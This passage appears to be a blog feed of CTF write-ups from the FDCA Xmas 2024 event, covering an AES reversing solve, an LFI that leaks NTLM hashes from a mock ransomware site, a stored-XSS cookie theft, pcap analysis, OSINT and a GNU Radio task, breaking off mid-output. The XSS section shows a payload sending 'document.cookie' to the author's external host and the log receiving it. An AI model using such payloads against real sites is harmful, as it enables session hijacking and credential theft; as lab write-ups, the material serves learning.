</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">using</span> AesManaged aesManaged = <span style="color:#66d9ef">new</span> AesManaged();
</span></span><span style="display:flex;"><span>		aesManaged.Key = r;
</span></span><span style="display:flex;"><span>		aesManaged.IV = s;
</span></span><span style="display:flex;"><span>		aesManaged.Mode = CipherMode.CBC;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">using</span> MemoryStream memoryStream = <span style="color:#66d9ef">new</span> MemoryStream();
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">using</span> (CryptoStream stream = <span style="color:#66d9ef">new</span> CryptoStream(memoryStream, aesManaged.CreateEncryptor(), CryptoStreamMode.Write))
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">using</span> StreamWriter streamWriter = <span style="color:#66d9ef">new</span> StreamWriter(stream);
</span></span><span style="display:flex;"><span>			streamWriter.Write(q);
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> Convert.ToBase64String(memoryStream.ToArray());
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">private</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">string</span> S(<span style="color:#66d9ef">string</span> q)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">char</span>[] array = q.ToCharArray();
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i = <span style="color:#ae81ff">0</span>; i &lt; array.Length - <span style="color:#ae81ff">1</span>; i += <span style="color:#ae81ff">2</span>)
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">char</span> c = array[i];
</span></span><span style="display:flex;"><span>			array[i] = array[i + <span style="color:#ae81ff">1</span>];
</span></span><span style="display:flex;"><span>			array[i + <span style="color:#ae81ff">1</span>] = c;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">string</span>(array);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>And also important is <code>Resources.kG</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>aS6BpWo8WyKFzwRzntKjW+nuD4+IeeZbMM2OmQcsTf2fgWoE81bOah1hmiPTLOzP
</span></span></code></pre></div><p>So reversing the operations we can get the flag, here is my solve script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> Crypto.Cipher <span style="color:#f92672">import</span> AES
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> base64
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>kg <span style="color:#f92672">=</span> list(<span style="color:#e6db74">&#34;aS6BpWo8WyKFzwRzntKjW+nuD4+IeeZbMM2OmQcsTf2fgWoE81bOah1hmiPTLOzP&#34;</span>)
</span></span><span style="display:flex;"><span>key <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;valhallahpakkergodegaver&#39;</span>
</span></span><span style="display:flex;"><span>iv <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\x00</span><span style="color:#e6db74">&#39;</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">16</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>, len(kg) <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">2</span>):
</span></span><span style="display:flex;"><span>    kg[i], kg[i<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> kg[i<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>], kg[i]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ciphertext <span style="color:#f92672">=</span> base64<span style="color:#f92672">.</span>b64decode(<span style="color:#e6db74">&#39;&#39;</span><span style="color:#f92672">.</span>join(kg))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cipher <span style="color:#f92672">=</span> AES<span style="color:#f92672">.</span>new(key, AES<span style="color:#f92672">.</span>MODE_CBC, iv<span style="color:#f92672">=</span>iv)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(cipher<span style="color:#f92672">.</span>decrypt(ciphertext))
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ python solve.py
</span></span><span style="display:flex;"><span>b&#39;FDCA{1ndp4kk3t_g4ver_er_d3_8edste}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e&#39;
</span></span></code></pre></div>]]></content></item><item><title>FDCA Xmas 2024 Day 22 - JætteBit 2.0</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-22-j%C3%A6ttebit-2.0/</link><pubDate>Tue, 24 Dec 2024 15:59:22 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-22-j%C3%A6ttebit-2.0/</guid><description>Challenge Description Danish (original) I et dristigt hack-back forsøg efter Jætterne har krypteret Æsirne, er du blevet udvalgt til at afdække svagheder hos den frygtede ransomwaregruppe JætteBit 2.0. Gruppen skulle angiveligt have terroriseret organisationer verden over, og nu er det tid til at gøre en ende på dem en gang for alle.
Din mission er simpel: Søg med lys og lygte efter cleartext credentials som kan bidrage til hack-back missionen. Måske har de været så ivrige efter at offentliggøre deres ofre, at de har glemt deres egen sikkerhed som kunne afsløre brugernavne, adgangskoder eller andre følsomme data, gemt i hemmelige filer.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>I et dristigt hack-back forsøg efter Jætterne har krypteret Æsirne, er du blevet udvalgt til at afdække svagheder hos den frygtede ransomwaregruppe JætteBit 2.0. Gruppen skulle angiveligt have terroriseret organisationer verden over, og nu er det tid til at gøre en ende på dem en gang for alle.</p>
<p>Din mission er simpel:
Søg med lys og lygte efter cleartext credentials som kan bidrage til hack-back missionen. Måske har de været så ivrige efter at offentliggøre deres ofre, at de har glemt deres egen sikkerhed som kunne afsløre brugernavne, adgangskoder eller andre følsomme data, gemt i hemmelige filer.</p>
<p>Navigér forsigtigt på deres hjemmeside hvor de lækker data. Men vær varsom – jætterne er eksperter i at opsætte fælder for dem, der kommer for tæt på.</p>
<p>Held og lykke, og må du være den, der bringer Ragnarok til JætteBit 2.0!</p>
<p>Sitet kan findes på <a href="http://p9x6m4b2vqz7htfj.onion.j%C3%A6ttenettet.dk">http://p9x6m4b2vqz7htfj.onion.jættenettet.dk</a></p>
<p>Flag er i formatet FDCA{username:password}</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>In a bold hack-back attempt after the Giants have encrypted the Aesir, you have been selected to uncover weaknesses in the feared ransomware group JætteBit 2.0. The group is said to have terrorized organizations worldwide, and now it&rsquo;s time to put an end to them once and for all.</p>
<p>Your mission is simple:
Search high and low for cleartext credentials that can contribute to the hack-back mission. Perhaps they have been so eager to publish their victims&rsquo; data that they’ve forgotten their own security, which could reveal usernames, passwords, or other sensitive data hidden in secret files.</p>
<p>Navigate carefully on their website where they leak data. But be cautious – the giants are experts at setting traps for those who get too close.</p>
<p>Good luck, and may you be the one to bring Ragnarok to JætteBit 2.0!</p>
<p>The site can be found at <a href="http://p9x6m4b2vqz7htfj.onion.j%C3%A6ttenettet.dk">http://p9x6m4b2vqz7htfj.onion.jættenettet.dk</a></p>
<p>Flags are in the format FDCA{username:password}</p>
<h2 id="solution">Solution</h2>
<p>Going to the provided website we are meet with a classical ransomware group website.

    <img src="https://filehost.osiriz.xyz/homepage/img/fdcachristmas2024/jaettebit/frontpage.png"  class="center"  />

</p>
<p>Checking <code>robots.txt</code> we can see that <code>/backend</code> is disallowed</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ curl <span style="color:#e6db74">&#34;http://p9x6m4b2vqz7htfj.onion.jættenettet.dk/robots.txt&#34;</span>
</span></span><span style="display:flex;"><span>User-agent: *
</span></span><span style="display:flex;"><span>Disallow: /backend/
</span></span></code></pre></div><p>Having visited <code>/backend</code> and fighting with its interaction hooks, I have opted to research it using <code>curl</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ curl <span style="color:#e6db74">&#34;http://p9x6m4b2vqz7htfj.onion.jættenettet.dk/backend&#34;</span>
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span><span style="display:flex;"><span>&lt;script src=&#34;https://osiriz.dev/index.js&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>&lt;script async src=&#34;https://www.googletagmanager.com/gtag/js?id=UA-3898076-24&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>&lt;script&gt;
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span></code></pre></div><p>We can see that the page loads <code>/index.js</code>, so lets look at that:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ curl <span style="color:#e6db74">&#34;http://p9x6m4b2vqz7htfj.onion.jættenettet.dk/index.js&#34;</span>
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span><span style="display:flex;"><span>const hemmelige_filer = [
</span></span><span style="display:flex;"><span>  &#39;intern/hashrevision/jaette_ntds_hashes.txt&#39;
</span></span><span style="display:flex;"><span>]
</span></span><span style="display:flex;"><span>[expunged for readability]
</span></span></code></pre></div><p>The file does a lot, but most important for us the <code>hemmelige_filer</code> (secret files) variable that seems to give a path to a file with ntds hashes. Sadly we cannot just visit <code>/intern/hashrevision/jaette_ntds_hashes.txt</code> to get it, so lets try and find another way.</p>
<p>Going back to the frontpage and clicking on one of the &ldquo;Betal nu&rdquo; (Pay now) button the url becomes the following: <code>http://p9x6m4b2vqz7htfj.onion.jættenettet.dk/betal.php?file=betal.html</code>, the <code>?file</code> parameter here seems to indicate a possible LFI (local file inclusion) vulnerability.</p>
<p>So lets try <code>http://p9x6m4b2vqz7htfj.onion.jættenettet.dk/betal.php?file=intern/hashrevision/jaette_ntds_hashes.txt</code>, and bingo we get the hashes:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Administrator:500:aad3b435b51404eeaad3b435b51404ee:6c569aabbf7775ef8fc570e228c16b98:::
</span></span><span style="display:flex;"><span>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</span></span><span style="display:flex;"><span>jotunheimr:1001:aad3b435b51404eeaad3b435b51404ee:8d777f385d3dfec881f3f8e2d7b2b93b:::
</span></span><span style="display:flex;"><span>surt:1002:aad3b435b51404eeaad3b435b51404ee:c4ca4238a0b923820dcc509a6f75849b:::
</span></span><span style="display:flex;"><span>ymer:1003:aad3b435b51404eeaad3b435b51404ee:2c6ee24b09816a6f14f95d1698b24ead:::
</span></span><span style="display:flex;"><span>skadi:1004:aad3b435b51404eeaad3b435b51404ee:9c56f361f0b66d4b2f4db0b74a5b5c2f:::
</span></span><span style="display:flex;"><span>loki:1005:aad3b435b51404eeaad3b435b51404ee:9e107d9d372bb6826bd81d3542a419d6:::
</span></span><span style="display:flex;"><span>angrboða:1006:aad3b435b51404eeaad3b435b51404ee:bad0c6db35173c1b63459db6a1a2a22e:::
</span></span><span style="display:flex;"><span>fafnir:1007:aad3b435b51404eeaad3b435b51404ee:1f54deae0f9a2ba375c724235ffaaefd:::
</span></span><span style="display:flex;"><span>hel:1008:aad3b435b51404eeaad3b435b51404ee:9d5ed678fe57bcca4ec8b7b6d4b1e3b7:::
</span></span><span style="display:flex;"><span>krbtgt:65534:aad3b435b51404eeaad3b435b51404ee:bfb8d96e5176b084ee453de1e6d5a1d0:::
</span></span></code></pre></div><p>These are NTLM hashes, so we are actually only interested in the last hash value since the LM hash is the same, so lets cut the hash out:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ cut -d<span style="color:#e6db74">&#39;:&#39;</span> -f4 jaette_ntds_hashes.txt
</span></span><span style="display:flex;"><span>6c569aabbf7775ef8fc570e228c16b98
</span></span><span style="display:flex;"><span>31d6cfe0d16ae931b73c59d7e0c089c0
</span></span><span style="display:flex;"><span>8d777f385d3dfec881f3f8e2d7b2b93b
</span></span><span style="display:flex;"><span>c4ca4238a0b923820dcc509a6f75849b
</span></span><span style="display:flex;"><span>2c6ee24b09816a6f14f95d1698b24ead
</span></span><span style="display:flex;"><span>9c56f361f0b66d4b2f4db0b74a5b5c2f
</span></span><span style="display:flex;"><span>9e107d9d372bb6826bd81d3542a419d6
</span></span><span style="display:flex;"><span>bad0c6db35173c1b63459db6a1a2a22e
</span></span><span style="display:flex;"><span>1f54deae0f9a2ba375c724235ffaaefd
</span></span><span style="display:flex;"><span>9d5ed678fe57bcca4ec8b7b6d4b1e3b7
</span></span><span style="display:flex;"><span>bfb8d96e5176b084ee453de1e6d5a1d0
</span></span></code></pre></div><p>I will take these and use <a href="https://ntlm.pw">ntlm.pw</a> to look them up:

    <img src="https://filehost.osiriz.xyz/homepage/img/fdcachristmas2024/jaettebit/ntlmpw.png"  class="center"  />

</p>
<p>We can see that one of the hashes is <code>netcompany123</code>, and looking back at <code>jaette_ntds_hashes.txt</code> we can see that <code>fafnir</code> owns this hash, so the flag is:
<code>FDCA{fafnir:netcompany123}</code></p>
]]></content></item><item><title>FDCA Xmas 2024 Day 21 - Det Nordiske Værksted</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-21-det-nordiske-v%C3%A6rksted/</link><pubDate>Tue, 24 Dec 2024 15:59:21 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-21-det-nordiske-v%C3%A6rksted/</guid><description>Challenge Description Danish (original) Velkommen til Det Nordiske Værksted
Frej har endelig fundet sin hjerteven, i hans helt egen webshop.
Det Nordiske Værksted er stedet, hvor kunder ikke bare køber julepynt, men også går på opdagelse i en verden af nordisk inspiration. Mange besøgende elsker at tage sig tid til at kigge rundt på siden, nyde udvalget og lade sig opsluge af stemningen.
Men er den helt sikker?
English (from chatgpt) Welcome to The Nordic Workshop</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Velkommen til Det Nordiske Værksted</p>
<p>Frej har endelig fundet sin hjerteven, i hans helt egen webshop.</p>
<p>Det Nordiske Værksted er stedet, hvor kunder ikke bare køber julepynt, men også går på opdagelse i en verden af nordisk inspiration. Mange besøgende elsker at tage sig tid til at kigge rundt på siden, nyde udvalget og lade sig opsluge af stemningen.</p>
<p>Men er den helt sikker?</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>Welcome to The Nordic Workshop</p>
<p>Frej has finally found his heart&rsquo;s companion, in his very own webshop.</p>
<p>The Nordic Workshop is the place where customers not only buy Christmas decorations but also explore a world of Nordic inspiration. Many visitors love to take their time browsing the site, enjoying the selection, and immersing themselves in the atmosphere.</p>
<p>But is it completely secure?</p>
<h2 id="solution">Solution</h2>
<p>Going to the provided website (<a href="http://nordiskevaerksted.jul.fdca.dk:5000/">http://nordiskevaerksted.jul.fdca.dk:5000/</a>), we are meet with a webshop:

    <img src="https://filehost.osiriz.xyz/homepage/img/fdcachristmas2024/nordiskevaerksted/front.png"  class="center"  />

</p>
<p>More interesting though is the reviews (anmeldelser) since we can actually write something here that should be reflected for other users:

    <img src="https://filehost.osiriz.xyz/homepage/img/fdcachristmas2024/nordiskevaerksted/reviews.png"  class="center"  />

</p>
<p>After some trial and error I found out that we can use XSS by using the <code>onerror</code> of an <code>img</code> tag (<code>script</code> dont work):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">x</span> <span style="color:#a6e22e">onerror</span><span style="color:#f92672">=</span><span style="color:#e6db74">alert(1);</span>&gt;
</span></span></code></pre></div><p>So lets try and steal a user&rsquo;s session cookie by using the following payload<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">x</span> <span style="color:#a6e22e">onerror</span><span style="color:#f92672">=</span><span style="color:#e6db74">document.location=&#34;https://osiriz.xyz/?c=&#34;+document.cookie;</span>&gt;
</span></span></code></pre></div><p>Looking at the access log we soon see the flag come in via the cookie exfil:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>135.225.104.218 - &#34;GET /?c=Flag=FDCA{N0gle_g4ng3_sk41_m4n_v3nt3}&amp;%20visitor_id=c47192e3-4df9-4251-a4d1-b6282f4cb5b5 HTTP/2.0&#34; 200
</span></span></code></pre></div><div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>I have used my website in this example, but tools like <a href="https://ngrok.com/">ngrok</a> and <code>python -m http.server</code> could also be used.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content></item><item><title>FDCA Xmas 2024 Day 20 - Exfiltering i Asgård</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-20-exfiltering-i-asg%C3%A5rd/</link><pubDate>Tue, 24 Dec 2024 15:59:20 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-20-exfiltering-i-asg%C3%A5rd/</guid><description>Challenge Description Danish (original) Vi har opsnappet noget netværkstrafik, der tyder på, at Jætterne har haft adgang til Asgårds filservere og har exfiltreret filer. Vi frygter, at nogle af disse filer indeholder følsomme oplysninger, som Jætterne vil bruge til at afpresse Thor.
Denne situation er kritisk, og vi har brug for din hjælp til at finde ud af, hvad der er blevet stjålet, før Jætterne kan gennemføre deres plan.
English (from chatgpt) We have intercepted some network traffic suggesting that the Giants have had access to Asgard&amp;rsquo;s file servers and have exfiltrated files.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Vi har opsnappet noget netværkstrafik, der tyder på, at Jætterne har haft adgang til Asgårds filservere og har exfiltreret filer. Vi frygter, at nogle af disse filer indeholder følsomme oplysninger, som Jætterne vil bruge til at afpresse Thor.</p>
<p>Denne situation er kritisk, og vi har brug for din hjælp til at finde ud af, hvad der er blevet stjålet, før Jætterne kan gennemføre deres plan.</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>We have intercepted some network traffic suggesting that the Giants have had access to Asgard&rsquo;s file servers and have exfiltrated files. We fear that some of these files contain sensitive information that the Giants will use to blackmail Thor.</p>
<p>This situation is critical, and we need your help to determine what has been stolen before the Giants can carry out their plan.</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/capture.7z">capture.7z</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>Unzip the file, we can see it contains a pcap file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ 7z x capture.7z
</span></span><span style="display:flex;"><span>[expunged for readabilty]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ ls
</span></span><span style="display:flex;"><span>capture.7z  capture.pcap
</span></span></code></pre></div><p>Opening the pcap in wireshark we can see a lot of HTTPS traffic (TCP, TLS and QUIC more specifically), but scrolling through we can also spot some FTP traffic. So I exported the FTP files using the <code>File &gt; Export Objects &gt; FTP-DATA</code> menu option and saving them all to a directory.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ls
</span></span><span style="display:flex;"><span>AsgardMap.jpg  flag.txt  ThorMemes.zip  ThorTheKisser.jpeg  Very_Secret.docx
</span></span></code></pre></div><p>Looking through I found the flag in <code>ThorTheKisser.jpeg</code>:</p>

    <img src="https://filehost.osiriz.xyz/homepage/img/fdcachristmas2024/ThorTheKisser.jpeg"  class="center"  />


<p>The flag is: <code>FDCA{FTP_15_N07_S3cur3}</code></p>
]]></content></item><item><title>FDCA Xmas 2024 Day 19 - Naglfar</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-19-naglfar/</link><pubDate>Tue, 24 Dec 2024 15:59:19 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-19-naglfar/</guid><description>Challenge Description Danish (original) Naglfar er drevet i land under sommerens stråler. Naglfar hviler nu i en smuk sø. Ikke langt fra søen ligger et velkendt monument, som indeholder ældgammel kryptografi. Det er en meget velkendt mand som har skrevet denne kryptografi i tidernes morgen.
Hvad er navnet på søen, Naglfar ligger i? Hvilken moderne teknologi er forbundet med denne mand?
Du skal selv sammensætte flaget. Flagets format er således: FDCA{navn_på_sø_teknologi}</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Naglfar er drevet i land under sommerens stråler. Naglfar hviler nu i en smuk sø. Ikke langt fra søen ligger et velkendt monument, som indeholder ældgammel kryptografi. Det er en meget velkendt mand som har skrevet denne kryptografi i tidernes morgen.</p>
<p>Hvad er navnet på søen, Naglfar ligger i?
Hvilken moderne teknologi er forbundet med denne mand?</p>
<p>Du skal selv sammensætte flaget. Flagets format er således:
FDCA{navn_på_sø_teknologi}</p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>Naglfar has been driven ashore under the summer&rsquo;s rays. Naglfar now rests in a beautiful lake. Not far from the lake lies a well-known monument that contains ancient cryptography. It is a very famous man who wrote this cryptography in the dawn of time.</p>
<p>What is the name of the lake where Naglfar rests? What modern technology is associated with this man?</p>
<p>You must assemble the flag yourself. The flag&rsquo;s format is as follows: FDCA{lake_name_technology}</p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/opgave.zip">opgave.zip</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>Unzipping the file, we get an image:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ unzip
</span></span><span style="display:flex;"><span>Archive:  opgave.zip
</span></span><span style="display:flex;"><span>  inflating: sommerdag.png
</span></span></code></pre></div>
    <img src="https://filehost.osiriz.xyz/homepage/img/fdcachristmas2024/sommerdag.png"  class="center"  />


<p>Reverse image searching the image gives a few possible location, but only one fit with the rest of the description: Faarup Lake (Fårup Sø), since the Jelling stones are nearby, which is connected to Harald Bluetooth (Harald Blåtand), the name sake of Bluetooth. So the flag is:
<code>FDCA{fårup_sø_bluetooth}</code></p>
]]></content></item><item><title>FDCA Xmas 2024 Day 18 - Thorbit</title><link>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-18-thorbit/</link><pubDate>Tue, 24 Dec 2024 15:59:18 +0100</pubDate><guid>https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-18-thorbit/</guid><description>Challenge Description Danish (original) Thor, den mægtige tordengud, har udført en utrolig bedrift – han har kastet Mjølner, sin legendariske hammer, med så enorm kraft, at den nu kredser om Jorden i en uendelig himmelsk bane. Men Mjølner er jo ikke bare et almindeligt våben. Overladet med elektricitet sender den kraftige lynimpulser ned mod planeten. Disse impulser er ikke kun ødelæggende gnister; de bærer mystiske signaler på tværs af det elektromagnetiske spektrum, krypteret med Mjølners krav til Thor, for at vende tilbage til sin retmæssige herre.</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<h3 id="danish-original">Danish (original)</h3>
<p>Thor, den mægtige tordengud, har udført en utrolig bedrift – han har kastet Mjølner, sin legendariske hammer, med så enorm kraft, at den nu kredser om Jorden i en uendelig himmelsk bane. Men Mjølner er jo ikke bare et almindeligt våben. Overladet med elektricitet sender den kraftige lynimpulser ned mod planeten. Disse impulser er ikke kun ødelæggende gnister; de bærer mystiske signaler på tværs af det elektromagnetiske spektrum, krypteret med Mjølners krav til Thor, for at vende tilbage til sin retmæssige herre.</p>
<p>Thor, fast besluttet på at genvinde sin elskede hammer, har tilkaldt FDCA for hjælp. Jeres mission: opfang signalet, afslør dets kryptiske besked, og dekrypter den guddommelige kryptering for at bringe Mjølner tilbage til Thor.</p>
<p>Jordstationen har en en hjemmeside der kan få dig igang her:
<a href="http://groundstation.jul.fdca.dk">http://groundstation.jul.fdca.dk</a></p>
<h3 id="english-from-chatgpt">English (from chatgpt)</h3>
<p>Thor, the mighty thunder god, has accomplished an incredible feat – he has thrown Mjölnir, his legendary hammer, with such immense force that it now orbits Earth in an endless celestial path. But Mjölnir is not just an ordinary weapon. Charged with electricity, it sends powerful lightning impulses down toward the planet. These impulses are not just destructive sparks; they carry mysterious signals across the electromagnetic spectrum, encrypted with Mjölnir&rsquo;s demands to Thor, to return to its rightful master.</p>
<p>Thor, determined to reclaim his beloved hammer, has called upon FDCA for help. Your mission: intercept the signal, decipher its cryptic message, and decode the divine encryption to bring Mjölnir back to Thor.</p>
<p>The ground station has a website that can get you started here:
<a href="http://groundstation.jul.fdca.dk">http://groundstation.jul.fdca.dk</a></p>
<h2 id="file">File</h2>
<p>We are also given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/fdcachristmas2024/thorbit-recv.grc">thorbit-recv.grc</a></li>
</ul>
<h2 id="solution">Solution</h2>
<p>The given file is a GNU Radio Companion Flow Graph, opening it with GNU Radio Companion we get:</p>

    <img src="https://filehost.osiriz.xyz/homepage/img/fdcachristmas2024/gnuradio.png"  class="center"  />


<p>The <code>ZMQ SUB Source</code> address is not set, and we are also getting error because <code>sps</code> (samples per symbol) cannot be calculated since <code>sym_rate</code> (symbol rate) is not set.</p>
<p>Looking at the source for the provided website, we find two comments:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!--Husk, vi skal bruge jordstationens domæne eller ip addresse, og port 1337 for at behandle signaler fra den.--&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!--sps == verdener i nordisk mytologi--&gt;</span>
</span></span></code></pre></div><p>english version (chatgpt):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!--Remember, we need the ground station&#39;s domain or IP address, and port 1337 to process signals from it.--&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!--sps == worlds in Norse mythology--&gt;</span>
</span></span></code></pre></div><p>So the source address should be <code>tcp://groundstation.jul.fdca.dk:1337</code> and the <code>sym_rate</code> should be <code>samp_rate/9 = 4242</code> (because <code>sps = samp_rate/sym_rate</code>), so that <code>sps</code> becomes 9 (the number of worlds in norse mythology), and since <code>samp_rate = 4242*9</code> setting <code>sym_rate = 4242</code> makes <code>sps = 9</code>.</p>
<p>Setting the right parameters and running it via <code>Run &gt; Execute</code> and waiting at most 10 minutes, we get the following output from the builtin console:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>***** VERBOSE PDU DEBUG PRINT ******
